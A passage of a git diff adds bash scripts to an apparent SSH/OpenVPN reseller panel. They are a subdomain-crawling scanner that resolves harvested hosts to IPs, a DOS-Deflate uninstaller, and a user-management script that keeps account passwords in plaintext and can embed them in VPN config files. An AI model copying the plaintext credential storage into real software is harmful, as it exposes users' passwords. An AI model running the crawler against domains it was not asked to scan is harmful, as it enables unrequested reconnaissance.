"${HOST[$randomize]}"|grep -Eoi ']+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|awk -F "://" '{print $2}' >> $log + ) > /dev/null 2>&1 & +} + +iniciar () { +while [[ -z $SUB_DOM ]]; do +echo -ne "\033[1;33m$(fun_trans "Introduzca el Dominio para realizar la prueba"): " && read SUB_DOM +done +[[ -z $limite ]] && echo -ne "\033[1;33m$(fun_trans "Escriba el Limite de Resultados"): " && read limite +[[ -z ${limite} ]] && limite="300" +#CRIA LOG +log="./loog" && touch $log +#INICIA PRIMEIRA BUSCA +_DOM=$(curl -sSL "$SUB_DOM"|grep -Eoi ']+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|awk -F "://" '{print $2}') + for _DOMS in `echo $_DOM`; do + [[ $(echo ${DNS[@]}|grep ${_DOMS}) = "" ]] && DNS+=(${_DOMS}) + done +#INICIA THREADS +i=0 +while true; do +DOMAIN=$(echo "${DNS[$i]}") +[[ $DOMAIN = "" ]] && break + if [[ $(echo -e "${PESQ[@]}"|grep "$DOMAIN") = "" ]]; then + subdom "$DOMAIN" + echo -e "\033[1;31m(Scan\033[1;32m $((${#PESQ[@]}+1))\033[1;31m de \033[1;32m${#DNS[@]}\033[1;31m) - $(fun_trans "Escaneando") ---> \033[1;36mhttp://$DOMAIN\033[1;37m" + PESQ+=($DOMAIN) + fi +[[ "$(echo ${#DNS[@]})" -gt "$limite" ]] && break +i=$(($i+1)) +sleep 1s +done +rm $log +echo -e "$barra\n\033[1;32m$(fun_trans "Scan Finalizado Inicio de la coleccion de IPs")\033[1;31m\033[0m" +[[ -e $HOME/subresult ]] && rm $HOME/subresult +[[ ! -e $HOME/subresult ]] && touch $HOME/subresult +for result in $(echo "${DNS[@]}"); do +( +rand="$RANDOM" +dns[rand]="$result" +scan[rand]=$(echo ${result}|cut -d'/' -f1) +IP[rand]=$(nslookup "${scan[rand]}"|grep -Eo 'Address: [0-9.]+'|grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'|tail -1) > /dev/null 2>&1 +echo -e "====================================\nDNS: ${dns[rand]}\nIP: ${IP[rand]}\n====================================" >> $HOME/subresult +unset IP +) & +done +while true; do +[[ $(pidof nslookup|wc -w) -lt "1" ]] && break +done +RSLT=$(($(cat $HOME/subresult|wc -l)/4)) && echo -e "$barra\n\033[1;32m$RSLT $(fun_trans "Hosts Capturados")\n$barra\033[0m" +echo -ne "$(fun_trans "Desea Imprimir Resultados")? [S/N]: "; read yn + [[ $yn = @(s|S|y|Y) ]] && { + echo -ne "\033[1;32m" + cat $HOME/subresult|grep -v = + echo -e "$barra\033[0m" + } +return 0 +} +#INICIA SCRIPT +echo -e "\033[1;33m $(fun_trans "INICIALIZANDO PROCEDIMENTOS") (SCAN)" +echo -e "$barra\033[0m" +iniciar +[[ $? = "0" ]] && +echo -e "\033[1;32m$(fun_trans "Registro generado en el archivo") $HOME/subresult\033[0m" && +echo -e "$barra\033[0m" diff --git a/ADM-VENTAS-LEALDROID/request/unddos.py b/ADM-VENTAS-LEALDROID/request/unddos.py new file mode 100644 index 0000000..defc392 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/unddos.py @@ -0,0 +1,63 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +clear +cowsay -f eyes "esta herramienta desinstala la version pasada de ANTI-DDoS" | lolcat +figlet ..dankelthaher.. | lolcat +BARRA1="\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "$BARRA1" + +echo -e "\e[1;34mUninstalling DOS-Deflate\e[0m" +sleep 3s +echo -e "$BARRA1" + +echo -e "\e[0;31mEliminando archivos de script .....\e[0m" +sleep 4s + + +if [ -e '/usr/local/sbin/ddos' ]; then + + rm -f /usr/local/sbin/ddos + + echo -n ".." + +fi + +if [ -d '/usr/local/ddos' ]; then + + rm -rf /usr/local/ddos + + echo -n ".." +sleep 3s +echo "" +echo -e "$BARRA1" +sleep 3s +fi + +echo -e "\e[0;32m...HECHO\e[0m" +echo -e "$BARRA1" +sleep 3s + + + +echo -e "\e[1;33mBorrando cron job .....\e[0m" + +if [ -e '/etc/cron.d/ddos.cron' ]; then + + rm -f /etc/cron.d/ddos.cron + + echo -n ".." +sleep 3s +echo "" +echo -e "$BARRA1" + + +fi +sleep 3s +echo -e "\e[0;32m...HECHO\e[0m" +echo -e "$BARRA1" +sleep 3s + + +echo -e "\e[1;33mDesinstalacion completa\e[0m" +echo -e "$BARRA1" diff --git a/ADM-VENTAS-LEALDROID/request/usercodes b/ADM-VENTAS-LEALDROID/request/usercodes new file mode 100644 index 0000000..5d1913e --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/usercodes @@ -0,0 +1,908 @@ +#!/bin/bash +declare -A TIMEUS +SCPdir="/etc/newadm" +SCPdir2="/etc/ger-frm" +SCPusr="${SCPdir}/ger-user" +MyPID="${SCPusr}/pid-adm" +MyTIME="${SCPusr}/time-adm" +USRdatabase="/etc/ADMuser" +VERY="$(ps aux|grep "${SCPusr}/usercodes verificar"| grep -v grep)" +[[ -e ${MyPID} ]] && source ${MyPID} || touch ${MyPID} +[[ -e ${MyTIME} ]] && source ${MyTIME} || touch ${MyTIME} +[[ ! -e ${USRdatabase} ]] && touch ${USRdatabase} +sort ${USRdatabase} | uniq > ${USRdatabase}tmp +mv -f ${USRdatabase}tmp ${USRdatabase} +# Open VPN +newclient () { +#Nome #Senha +usermod -p $(openssl passwd -1 $2) $1 + while [[ ${newfile} != @(s|S|y|Y|n|N) ]]; do + read -p "$(fun_trans "Crear Archivo Openvpn")? [S/N]: " -e -i S newfile + tput cuu1 && tput dl1 + done +if [[ ${newfile} = @(s|S) ]]; then +cp /etc/openvpn/client-common.txt $HOME/$1.ovpn +echo " +$(cat /etc/openvpn/client-key.pem) + + +$(cat /etc/openvpn/client-cert.pem) + + +$(cat /etc/openvpn/ca.pem) +" >> $HOME/$1.ovpn + while [[ ${ovpnauth} != @(s|S|y|Y|n|N) ]]; do + read -p "$(fun_trans "Colocar la autenticacion de usuario en el archivo")? [S/N]: " -e -i S ovpnauth + tput cuu1 && tput dl1 + done + [[ ${ovpnauth} = @(n|N) ]] && sed -i "s;auth-user-pass;\n$1\n$2\n;g" $HOME/$1.ovpn + cd $HOME + zip ./$1.zip ./$1.ovpn > /dev/null 2>&1 + rm ./$1.ovpn > /dev/null 2>&1 + echo -e "\033[1;31m$(fun_trans "Archivo creado"): ($HOME/$1.zip)" + fi +} +block_userfun () { +local USRloked="/etc/newadm-userlock" +local LIMITERLOG="${USRdatabase}/Limiter.log" +if [[ $2 = "-loked" ]]; then +[[ $(cat ${USRloked}|grep -w "$1") ]] && return 1 +echo "USER: $1 (BLOQUEADO - MULTILOGUIN) $(date +%r)" +fi +if [[ $(cat ${USRloked}|grep -w "$1") ]]; then +usermod -U "$1" &>/dev/null +[[ -e ${USRloked} ]] && { + newbase=$(cat ${USRloked}|grep -w -v "$1") + [[ -e ${USRloked} ]] && rm ${USRloked} + for value in `echo ${newbase}`; do + echo $value >> ${USRloked} + done + } +[[ -e ${LIMITERLOG} ]] && [[ $(cat ${LIMITERLOG}|grep -w "$1") ]] && { + newbase=$(cat ${LIMITERLOG}|grep -w -v "$1") + [[ -e ${LIMITERLOG} ]] && rm ${LIMITERLOG} + for value in `echo ${newbase}`; do + echo $value >> ${LIMITERLOG} + done +} +return 1 +else +usermod -L "$1" &>/dev/null +echo $1 >> ${USRloked} +return 0 +fi +} +block_user () { +local USRloked="/etc/newadm-userlock" +[[ ! -e ${USRloked} ]] && touch ${USRloked} +usuarios_ativos=($(mostrar_usuarios)) +if [[ -z ${usuarios_ativos[@]} ]]; then +msg -verm "$(fun_trans "Ningun usuario registrado")" +msg -bar +return 1 +else +msg -ama "$(fun_trans "Usuarios actualmente activos en el servidor")" +msg -bar +Numb=0 +for us in $(echo ${usuarios_ativos[@]}); do +if [[ $(cat ${USRloked}|grep -w "${us}") ]]; then +msg -ne "[$Numb] ->" && echo -e "\033[1;33m ${us} \033[1;31mLoked" +else +msg -ne "[$Numb] ->" && echo -e "\033[1;33m ${us} \033[1;32mUnlocked" +fi +let Numb++ +done +msg -bar +fi +msg -ama "$(fun_trans "Escriba o seleccione un usuario")" +msg -bar +unset selection +while [[ ${selection} = "" ]]; do +echo -ne "\033[1;37mSelect: " && read selection +tput cuu1 && tput dl1 +done +if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then +usuario_del="${usuarios_ativos[$selection]}" +else +usuario_del="$selection" +fi +[[ -z $usuario_del ]] && { + msg -verm "$(fun_trans "Error, Usuario Invalido")" + msg -bar + return 1 + } +[[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && { + msg -verm "$(fun_trans "Error, Usuario Invalido")" + msg -bar + return 1 + } +msg -ne "$(fun_trans "Usuario Selecionado"): " && echo -ne "$usuario_del " +block_userfun "$usuario_del" && msg -verm "[$(fun_trans "Bloqueado")]" || msg -verd "[$(fun_trans "Desbloqueado")]" +msg -bar +} +add_user () { +#nome senha Dias limite +[[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1 +valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days") +useradd -M -s /bin/false $1 -e ${valid} > /dev/null 2>&1 || return 1 +(echo $2; echo $2)|passwd $1 2>/dev/null || { + userdel --force $1 + return 1 + } +[[ -e ${USRdatabase} ]] && { + newbase=$(cat ${USRdatabase}|grep -w -v "$1") + echo "$1|$2|${datexp}|$4" > ${USRdatabase} + for value in `echo ${newbase}`; do + echo $value >> ${USRdatabase} + done + } || echo "$1|$2|${datexp}|$4" > ${USRdatabase} +} +renew_user_fun () { +#nome dias +datexp=$(date "+%F" -d " + $2 days") && valid=$(date '+%C%y-%m-%d' -d " + $2 days") +chage -E $valid $1 2> /dev/null || return 1 +[[ -e ${USRdatabase} ]] && { + newbase=$(cat ${USRdatabase}|grep -w -v "$1") + useredit=$(cat ${USRdatabase}|grep -w "$1") + pass=$(echo $useredit|cut -d'|' -f2) + limit=$(echo $useredit|cut -d'|' -f4) + echo "$1|$pass|${datexp}|$limit" > ${USRdatabase} + for value in `echo ${newbase}`; do + echo $value >> ${USRdatabase} + done + } +} +edit_user_fun () { +#nome senha dias limite +(echo "$2" ; echo "$2" ) |passwd $1 > /dev/null 2>&1 || return 1 +datexp=$(date "+%F" -d " + $3 days") && valid=$(date '+%C%y-%m-%d' -d " + $3 days") +chage -E $valid $1 2> /dev/null || return 1 +[[ -e ${USRdatabase} ]] && { + newbase=$(cat ${USRdatabase}|grep -w -v "$1") + echo "$1|$2|${datexp}|$4" > ${USRdatabase} + for value in `echo ${newbase}`; do + echo $value >> ${USRdatabase} + done + } || echo "$1|$2|${datexp}|$4" > ${USRdatabase} +} +rm_user () { +#nome +userdel --force "$1" &>/dev/null || return 1 +[[ -e ${USRdatabase} ]] && { + newbase=$(cat ${USRdatabase}|grep -w -v "$1") + for value in `echo ${newbase}`; do + echo $value >> ${USRdatabase} + done + } +} +mostrar_usuarios () { +for u in `awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do +echo "$u" +done +} +dropbear_pids () { +local pids +local port_dropbear=`ps aux | grep dropbear | awk NR==1 | awk '{print $17;}'` +cat /var/log/auth.log|grep "$(date|cut -d' ' -f2,3)" > /var/log/authday.log +# cat /var/log/auth.log|tail -1000 > /var/log/authday.log +local log=/var/log/authday.log +local loginsukses='Password auth succeeded' +[[ -z $port_dropbear ]] && return 1 +for port in `echo $port_dropbear`; do + for pidx in $(ps ax |grep dropbear |grep "$port" |awk -F" " '{print $1}'); do + pids="${pids}$pidx\n" + done +done +for pid in `echo -e "$pids"`; do + pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'` + i=0 + for pidend in $pidlogs; do + let i++ + done + if [[ $pidend ]]; then + login=$(grep $pid $log |grep "$pidend" |grep "$loginsukses") + PID=$pid + user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'//g"` + waktu=$(echo $login |awk -F" " '{print $2"-"$1,$3}') + [[ -z $user ]] && continue + echo "$user|$PID|$waktu" + fi +done +} +openvpn_pids () { +#nome|#loguin|#rcv|#snd|#time + byte () { + while read B dummy; do + [[ "$B" -lt 1024 ]] && echo "${B} bytes" && break + KB=$(((B+512)/1024)) + [[ "$KB" -lt 1024 ]] && echo "${KB} Kb" && break + MB=$(((KB+512)/1024)) + [[ "$MB" -lt 1024 ]] && echo "${MB} Mb" && break + GB=$(((MB+512)/1024)) + [[ "$GB" -lt 1024 ]] && echo "${GB} Gb" && break + echo $(((GB+512)/1024)) terabytes + done + } +for user in $(mostrar_usuarios); do +user="$(echo $user|sed -e 's/[^a-z0-9 -]//ig')" +[[ ! $(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log) ]] && continue +i=0 +unset RECIVED; unset SEND; unset HOUR + while read line; do + IDLOCAL=$(echo ${line}|cut -d',' -f2) + RECIVED+="$(echo ${line}|cut -d',' -f3)+" + SEND+="$(echo ${line}|cut -d',' -f4)+" + DATESEC=$(date +%s --date="$(echo ${line}|cut -d',' -f5|cut -d' ' -f1,2,3,4)") + TIMEON="$(($(date +%s)-${DATESEC}))" + MIN=$(($TIMEON/60)) && SEC=$(($TIMEON-$MIN*60)) && HOR=$(($MIN/60)) && MIN=$(($MIN-$HOR*60)) + HOUR+="${HOR}h:${MIN}m:${SEC}s\n" + let i++ + done <<< "$(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log)" +RECIVED=$(echo $(echo ${RECIVED}0|bc)|byte) +SEND=$(echo $(echo ${SEND}0|bc)|byte) +HOUR=$(echo -e $HOUR|sort -n|tail -1) +echo -e "$user|$i|$RECIVED|$SEND|$HOUR" +done +} +err_fun () { + case $1 in + 1)msg -verm "$(fun_trans "Usuario Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 2)msg -verm "$(fun_trans "Usuario con nombre muy corto")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 3)msg -verm "$(fun_trans "Usuario con nombre muy grande")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 4)msg -verm "$(fun_trans "Contrasea Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 5)msg -verm "$(fun_trans "Contrasena Muy corta")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 6)msg -verm "$(fun_trans "Contrasena Muy Grande")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 7)msg -verm "$(fun_trans "Duracion Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 8)msg -verm "$(fun_trans "Duracion no valida utiliza numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 9)msg -verm "$(fun_trans "Duracion maxima de un ano")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 11)msg -verm "$(fun_trans "Limite Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 12)msg -verm "$(fun_trans "Limite invalido utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 13)msg -verm "$(fun_trans "Limite maximo es de 999")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 14)msg -verm "$(fun_trans "Usuario Ya existe")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + esac +} +new_user () { +usuarios_ativos=($(mostrar_usuarios)) +if [[ -z ${usuarios_ativos[@]} ]]; then +msg -verm "$(fun_trans "Ningun usuario registrado")" +msg -bar +else +msg -ama "$(fun_trans "Usuarios actualmente activos en el servidor")" +msg -bar +for us in $(echo ${usuarios_ativos[@]}); do +msg -ne "User: " && echo "${us}" +done +msg -bar +fi +while true; do + msg -ne "$(fun_trans "Nombre del nuevo usuario")" + read -p ": " nomeuser + nomeuser="$(echo $nomeuser|sed -e 's/[^a-z0-9 -]//ig')" + if [[ -z $nomeuser ]]; then + err_fun 1 && continue + elif [[ "${#nomeuser}" -lt "4" ]]; then + err_fun 2 && continue + elif [[ "${#nomeuser}" -gt "24" ]]; then + err_fun 3 && continue + elif [[ "$(echo ${usuarios_ativos[@]}|grep -w "$nomeuser")" ]]; then + err_fun 14 && continue + fi + break +done +while true; do + msg -ne "$(fun_trans "Contrasena Para El Nuevo usuario")" + read -p ": " senhauser + if [[ -z $senhauser ]]; then + err_fun 4 && continue + elif [[ "${#senhauser}" -lt "6" ]]; then + err_fun 5 && continue + elif [[ "${#senhauser}" -gt "20" ]]; then + err_fun 6 && continue + fi + break +done +while true; do + msg -ne "$(fun_trans "Tiempo de Duracion del nuevo usuario")" + read -p ": " diasuser + if [[ -z "$diasuser" ]]; then + err_fun 7 && continue + elif [[ "$diasuser" != +([0-9]) ]]; then + err_fun 8 && continue + elif [[ "$diasuser" -gt "360" ]]; then + err_fun 9 && continue + fi + break +done +while true; do + msg -ne "$(fun_trans "Limite de conexion del nuevo usuario")" + read -p ": " limiteuser + if [[ -z "$limiteuser" ]]; then + err_fun 11 && continue + elif [[ "$limiteuser" != +([0-9]) ]]; then + err_fun 12 && continue + elif [[ "$limiteuser" -gt "999" ]]; then + err_fun 13 && continue + fi + break +done + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + msg -ne "$(fun_trans "IP del servidor"): " && echo -e "$(meu_ip)" + msg -ne "$(fun_trans "Usuario"): " && echo -e "$nomeuser" + msg -ne "$(fun_trans "contrasena"): " && echo -e "$senhauser" + msg -ne "$(fun_trans "Dias de Duracion"): " && echo -e "$diasuser" + msg -ne "$(fun_trans "Fecha de expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")" + msg -ne "$(fun_trans "Limite de conexion"): " && echo -e "$limiteuser" +msg -bar +add_user "${nomeuser}" "${senhauser}" "${diasuser}" "${limiteuser}" && msg -ama "$(fun_trans "Usuario creado con exito")" || msg -verm "$(fun_trans "Error, Usuario no creado!!")" +[[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && newclient "$nomeuser" "$senhauser" +msg -bar +} +remove_user () { +usuarios_ativos=($(mostrar_usuarios)) +if [[ -z ${usuarios_ativos[@]} ]]; then +msg -verm "$(fun_trans "Ningun usuario registrado")" +msg -bar +return 1 +else +msg -ama "$(fun_trans "Usuarios actualmente activos en el servidor")" +msg -bar +i=0 +for us in $(echo ${usuarios_ativos[@]}); do +msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}" +let i++ +done +msg -bar +fi +msg -ama "$(fun_trans "Escriba o seleccione un usuario")" +msg -bar +unset selection +while [[ -z ${selection} ]]; do +echo -ne "\033[1;37m$(fun_trans "Seleccione una opcion"): " && read selection +tput cuu1 && tput dl1 +done +if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then +usuario_del="${usuarios_ativos[$selection]}" +else +usuario_del="$selection" +fi +[[ -z $usuario_del ]] && { + msg -verm "$(fun_trans "Error, Usuario Invalido")" + msg -bar + return 1 + } +[[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && { + msg -verm "$(fun_trans "Error, Usuario Invalido")" + msg -bar + return 1 + } +msg -ne "$(fun_trans "Usuario Selecionado"): " && echo -ne "$usuario_del" +rm_user "$usuario_del" && msg -verd " [$(fun_trans "Eliminado")]" || msg -verm " [$(fun_trans "No Eliminado")]" +msg -bar +} +renew_user () { +usuarios_ativos=($(mostrar_usuarios)) +if [[ -z ${usuarios_ativos[@]} ]]; then +msg -verm "$(fun_trans "Ningun usuario registrado")" +msg -bar +return 1 +else +msg -ama "$(fun_trans "Usuarios actualmente activos en el servidor")" +msg -bar +i=0 +for us in $(echo ${usuarios_ativos[@]}); do +msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}" +let i++ +done +msg -bar +fi +msg -ama "$(fun_trans "Escriba o seleccione un usuario")" +msg -bar +unset selection +while [[ -z ${selection} ]]; do +echo -ne "\033[1;37m$(fun_trans "Seleccione la opcion"): " && read selection +tput cuu1 +tput dl1 +done +if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then +useredit="${usuarios_ativos[$selection]}" +else +useredit="$selection" +fi +[[ -z $useredit ]] && { + msg -verm "$(fun_trans "Error, Usuario Invalido")" + msg -bar + return 1 + } +[[ ! $(echo ${usuarios_ativos[@]}|grep -w "$useredit") ]] && { + msg -verm "$(fun_trans "Error, Usuario Invalido")" + msg -bar + return 1 + } +while true; do + msg -ne "$(fun_trans "Nuevo Tiempo de Duracion de"): $useredit" + read -p ": " diasuser + if [[ -z "$diasuser" ]]; then + echo -e '\n\n\n' + err_fun 7 && continue + elif [[ "$diasuser" != +([0-9]) ]]; then + echo -e '\n\n\n' + err_fun 8 && continue + elif [[ "$diasuser" -gt "360" ]]; then + echo -e '\n\n\n' + err_fun 9 && continue + fi + break +done +msg -bar +renew_user_fun "${useredit}" "${diasuser}" && msg -ama "$(fun_trans "Usuario Modificado Con Exito!!!")" || msg -verm "$(fun_trans "Error, Usuario no modificado")" +msg -bar +} +edit_user () { +usuarios_ativos=($(mostrar_usuarios)) +if [[ -z ${usuarios_ativos[@]} ]]; then +msg -verm "$(fun_trans "Ningun usuario registrado")" +msg -bar +return 1 +else +msg -ama "$(fun_trans "Usuarios Actualmente activos en el servidor")" +msg -bar +i=0 +for us in $(echo ${usuarios_ativos[@]}); do +msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}" +let i++ +done +msg -bar +fi +msg -ama "$(fun_trans "Escriba o seleccione un usuario")" +msg -bar +unset selection +while [[ -z ${selection} ]]; do +echo -ne "\033[1;37m$(fun_trans "Seleccione la opcion"): " && read selection +tput cuu1; tput dl1 +done +if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then +useredit="${usuarios_ativos[$selection]}" +else +useredit="$selection" +fi +[[ -z $useredit ]] && { + msg -verm "$(fun_trans "Error, Usuario Invalido")" + msg -bar + return 1 + } +[[ ! $(echo ${usuarios_ativos[@]}|grep -w "$useredit") ]] && { + msg -verm "$(fun_trans "Error, Usuario Invalido")" + msg -bar + return 1 + } +while true; do +msg -ne "$(fun_trans "Usuario Selecionado"): " && echo -e "$useredit" + msg -ne "$(fun_trans "Nueva Contrasena de"): $useredit" + read -p ": " senhauser + if [[ -z "$senhauser" ]]; then + err_fun 4 && continue + elif [[ "${#senhauser}" -lt "6" ]]; then + err_fun 5 && continue + elif [[ "${#senhauser}" -gt "20" ]]; then + err_fun 6 && continue + fi + break +done +while true; do + msg -ne "$(fun_trans "Dias de Duracion de"): $useredit" + read -p ": " diasuser + if [[ -z "$diasuser" ]]; then + err_fun 7 && continue + elif [[ "$diasuser" != +([0-9]) ]]; then + err_fun 8 && continue + elif [[ "$diasuser" -gt "360" ]]; then + err_fun 9 && continue + fi + break +done +while true; do + msg -ne "$(fun_trans "Nuevo Limite de Conexion de"): $useredit" + read -p ": " limiteuser + if [[ -z "$limiteuser" ]]; then + err_fun 11 && continue + elif [[ "$limiteuser" != +([0-9]) ]]; then + err_fun 12 && continue + elif [[ "$limiteuser" -gt "999" ]]; then + err_fun 13 && continue + fi + break +done + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + msg -ne "$(fun_trans "Usuario"): " && echo -e "$useredit" + msg -ne "$(fun_trans "Contrasena"): " && echo -e "$senhauser" + msg -ne "$(fun_trans "Dias de Duracion"): " && echo -e "$diasuser" + msg -ne "$(fun_trans "Fecha de expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")" + msg -ne "$(fun_trans "Limite de conexion"): " && echo -e "$limiteuser" +msg -bar +edit_user_fun "${useredit}" "${senhauser}" "${diasuser}" "${limiteuser}" && msg -ama "$(fun_trans "Usuario Modificado Con Exito")" || msg -verm "$(fun_trans "Error, Usuario no modificado")" +msg -bar +} +detail_user () { +red=$(tput setaf 1) +gren=$(tput setaf 2) +yellow=$(tput setaf 3) +if [[ ! -e "${USRdatabase}" ]]; then +msg -verm "$(fun_trans "No se ha identificado una base de datos con usuarios")" +msg -verm "$(fun_trans "Los usuarios a seguir no contienen ninguna informacion")" +msg -bar2 +fi +txtvar=$(printf '%-16s' "USUARIO") +txtvar+=$(printf '%-16s' "CONTRASENA") +txtvar+=$(printf '%-16s' "FECHA") +txtvar+=$(printf '%-6s' "LIMITE") +echo -e "\033[1;33m${txtvar}" +msg -bar2 +VPSsec=$(date +%s) +while read user; do +unset txtvar +data_user=$(chage -l "$user" |grep -i co |awk -F ":" '{print $2}') +txtvar=$(printf '%-21s' "${yellow}$user") +if [[ -e "${USRdatabase}" ]]; then + if [[ $(cat ${USRdatabase}|grep -w "${user}") ]]; then + txtvar+="$(printf '%-21s' "${yellow}$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f2)")" + DateExp="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f3)" + DataSec=$(date +%s --date="$DateExp") + if [[ "$VPSsec" -gt "$DataSec" ]]; then + EXPTIME="${red}[Exp]" + else + EXPTIME="${gren}[$(($(($DataSec - $VPSsec)) / 86400))]" + fi + txtvar+="$(printf '%-26s' "${yellow}${DateExp}${EXPTIME}")" + txtvar+="$(printf '%-11s' "${yellow}$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)")" + else + txtvar+="$(printf '%-21s' "${red}???")" + txtvar+="$(printf '%-21s' "${red}???")" + txtvar+="$(printf '%-11s' "${red}???")" + fi +fi +echo -e "$txtvar" +done <<< "$(mostrar_usuarios)" +msg -bar2 +} +monit_user () { +yellow=$(tput setaf 3) +gren=$(tput setaf 2) +msg -verm "$(fun_trans "Monitor de conexiones de usuario")" +msg -bar +txtvar=$(printf '%-13s' "USUARIO") +txtvar+=$(printf '%-19s' "CONEXION") +txtvar+=$(printf '%-16s' "TIEMPO/ON") +echo -e "\033[1;33m${txtvar}" +msg -bar +while read user; do + _=$( +PID="0+" +[[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$user"|grep -v root|wc -l)+" +[[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && PID+="$(dropbear_pids|grep -w "${user}"|wc -l)+" +[[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids|grep -w "$user"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$user"|cut -d'|' -f2)+" +PID+="0" +TIMEON="${TIMEUS[$user]}" +[[ -z $TIMEON ]] && TIMEON=0 +MIN=$(($TIMEON/60)) +SEC=$(($TIMEON-$MIN*60)) +HOR=$(($MIN/60)) +MIN=$(($MIN-$HOR*60)) +HOUR="${HOR}h:${MIN}m:${SEC}s" +[[ -z $(cat ${USRdatabase}|grep -w "${user}") ]] && MAXUSER="?" || MAXUSER="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)" +[[ $(echo $PID|bc) -gt 0 ]] && user="$user [\033[1;32mON\033[0m${yellow}]" || user="$user [\033[1;31mOFF\033[0m${yellow}]" +TOTALPID="$(echo $PID|bc)/$MAXUSER" + while [[ ${#user} -lt 45 ]]; do + user=$user" " + done + while [[ ${#TOTALPID} -lt 13 ]]; do + TOTALPID=$TOTALPID" " + done + while [[ ${#HOUR} -lt 8 ]]; do + HOUR=$HOUR" " + done +echo -e "${yellow}$user $TOTALPID $HOUR" >&2 +) & +pid=$! +sleep 0.5s +done <<< "$(mostrar_usuarios)" +while [[ -d /proc/$pid ]]; do +sleep 1s +done +msg -bar +} +rm_vencidos () { +red=$(tput setaf 1) +gren=$(tput setaf 2) +yellow=$(tput setaf 3) +txtvar=$(printf '%-25s' "USUARIO") +txtvar+=$(printf '%-20s' "VLIDO") +echo -e "\033[1;33m${txtvar}" +msg -bar +expired="${red}$(fun_trans "Expirado")" +valid="${gren}$(fun_trans "Usuario Valido")" +never="${yellow}$(fun_trans "Usuario Ilimitado")" +removido="${red}$(fun_trans "Eliminado")" +DataVPS=$(date +%s) +while read user; do +DataUser=$(chage -l "${user}" |grep -i co|awk -F ":" '{print $2}') +usr=$user + while [[ ${#usr} -lt 20 ]]; do + usr=$usr" " + done +[[ "$DataUser" = " never" ]] && { + echo -e "${yellow}$usr $never" + continue + } +DataSEC=$(date +%s --date="$DataUser") +if [[ "$DataSEC" -lt "$DataVPS" ]]; then +echo -ne "${yellow}$usr $expired" +rm_user "$user" && echo -e "($removido)" +else +echo -e "${yellow}$usr $valid" +fi +done <<< "$(mostrar_usuarios)" +msg -bar +} +verif_fun () { +# DECLARANDO VARIAVEIS PRIMARIAS + local conexao + local limite + local TIMEUS + declare -A conexao + declare -A limite + declare -A TIMEUS + local LIMITERLOG="${SCPusr}/Limiter.log" + [[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && local SSH=ON || local SSH=OFF + [[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && local DROP=ON || local DROP=OFF + [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && local OPEN=ON || local OPEN=OFF + while true; do + unset EXPIRED + unset ONLINES + [[ -e ${MyTIME} ]] && source 